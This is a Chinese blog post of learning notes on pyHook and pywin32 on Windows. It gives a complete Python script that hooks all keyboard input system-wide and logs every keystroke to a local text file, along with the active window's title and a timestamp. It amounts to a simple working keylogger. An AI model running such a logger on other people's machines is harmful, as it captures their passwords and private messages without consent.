pyhooks实现键盘监控学习心得

简介: pyhooks 下载:http://sourceforge.net/projects/pyhook/files/pyhook/1.5.1/ API手册:http://pyhook.sourceforge.net/doc_1.5.0/         以上网站上提供了个使用的例子,另外安装pyhooks后,也会有一个例子的文件。

pyhooks

下载:http://sourceforge.net/projects/pyhook/files/pyhook/1.5.1/

API手册:http://pyhook.sourceforge.net/doc_1.5.0/

        以上网站上提供了个使用的例子,另外安装pyhooks后,也会有一个例子的文件。于是拿来学习了一下,第一次运行时,提示没有pythoncom模块,就安装了pywin32,安装后,可以正常运行,但是会导致机器发卡,特别是中断程序运行后,鼠标会出现一段时间的自由晃动,找了半天原因,感觉主要是事件频率过高,程序会经常卡在pythoncom.PumpMessages()。

        网上搜索了半天,看到有一帖子说是pythoncom.PumpMessages(n),n表示延迟时间,于是试着改了下,发现有一定效果,但不明显,后来想是不是因为没有终止程序,才会导致一直很卡呢,于是添加终止程序语句win32api.PostQuitMessage()。结果还算满意。

# -*- coding: cp936 -*-
import pythoncom
import pyHook
import time
import win32api
t=''
asciistr=''
keystr=''
def onKeyboardEvent(event):
global t,asciistr,keystr
filename='d://test.txt'
wrfile=open(filename,'ab')
"处理键盘事件"
if t==str(event.WindowName):
asciistr=asciistr+chr(event.Ascii)
keystr=keystr+str(event.Key)

else:
t=str(event.WindowName)
if asciistr=='' and keystr=='':
wrfile.writelines("\nWindow:%s\n" % str(event.Window))
wrfile.writelines("WindowName:%s\n" % str(event.WindowName)) #写入当前窗体名
wrfile.writelines("MessageName:%s\n" % str(event.MessageName))
wrfile.writelines("Message:%d\n" % event.Message)
wrfile.writelines("Time:%s\n" % time.strftime('%Y-%m-%d %H:%M:%S',time.localtime()))
else:
wrfile.writelines("Ascii_char:%s\n" %asciistr)
wrfile.writelines("Key_char:%s\n" %keystr)
wrfile.writelines("\nWindow:%s\n" % str(event.Window))
wrfile.writelines("WindowName:%s\n" % str(event.WindowName)) #写入当前窗体名
wrfile.writelines("Time:%s\n" % time.strftime('%Y-%m-%d %H:%M:%S',time.localtime()))

asciistr=chr(event.Ascii)
keystr=str(event.Key)
if str(event.Key)=='F12': #按下F12后终止
wrfile.writelines("Ascii_char:%s\n" %asciistr)
wrfile.writelines("Key_char:%s\n" %keystr)
wrfile.close()
win32api.PostQuitMessage()

return True



if __name__ == "__main__":
'''
小五义:http://www.cnblogs.com/xiaowuyi
'''

#创建hook句柄
hm = pyHook.HookManager()

#监控键盘
hm.KeyDown = onKeyboardEvent
hm.HookKeyboard()

#循环获取消息
pythoncom.PumpMessages(10000)



目录
相关文章
|
2月前
|
监控 NoSQL Java
十八张图带你入门实时监控系统HertzBeat
我们经常讲:研发人员有两只眼睛,一只是监控平台,另一只是日志平台。在对性能和高可用讲究的场景里,监控平台的重要性再怎么强调也不过分。 这篇文章,我们聊聊开源实时监控告警系统 HertzBeat 赫兹跳动。
十八张图带你入门实时监控系统HertzBeat
|
4月前
|
前端开发
前端知识笔记(十三)———单全选框控制方法,炒鸡无敌方便!!!
前端知识笔记(十三)———单全选框控制方法,炒鸡无敌方便!!!
15 0
|
4月前
|
存储 JSON 搜索推荐
【测试平台系列】第一章 手撸压力机(十二)-初步实现提取功能
上一章节,我们主要实现了基础的并发测试场景的能力。本章节,我们实现一下,如何对响应进行提取,使用正则/json对响应信息提取,并赋值给我们定义的变量。
|
10月前
一个案例带你了解独立式键盘设计原理
一个案例带你了解独立式键盘设计原理
107 0
|
12月前
费解的开关笔记
费解的开关笔记
47 0
|
存储 前端开发 算法
从零开始实现放置游戏(十五)——实现战斗挂机(6)在线打怪练级
 本章初步实现游戏的核心功能——战斗逻辑。   战斗系统牵涉的范围非常广,比如前期人物的属性、怪物的配置等,都是在为战斗做铺垫。   战斗中,人物可以施放魔法、技能,需要技能系统支持。   战斗胜利后,进行经验、掉落结算。又需要背包、装备系统支持。装备系统又需要随机词缀附魔系统。   可以说是本游戏最硬核的系统。   因为目前技能、背包、装备系统都还没有实现。我们先初步设计实现一个简易战斗逻辑。   战斗动作仅包括普通攻击,有可能产生未命中、闪避和暴击。
从零开始实现放置游戏(十五)——实现战斗挂机(6)在线打怪练级
|
搜索推荐 Python
零基础学Python【二十三、图形化界面设计 】(基础一篇全,欢迎认领)(十一)
零基础学Python【二十三、图形化界面设计 】(基础一篇全,欢迎认领)(十一)
156 0
零基础学Python【二十三、图形化界面设计 】(基础一篇全,欢迎认领)(十一)
|
Python
零基础学Python【二十三、图形化界面设计 】(基础一篇全,欢迎认领)(十二)
零基础学Python【二十三、图形化界面设计 】(基础一篇全,欢迎认领)(十二)
108 0
零基础学Python【二十三、图形化界面设计 】(基础一篇全,欢迎认领)(十二)
|
JavaScript Android开发 iOS开发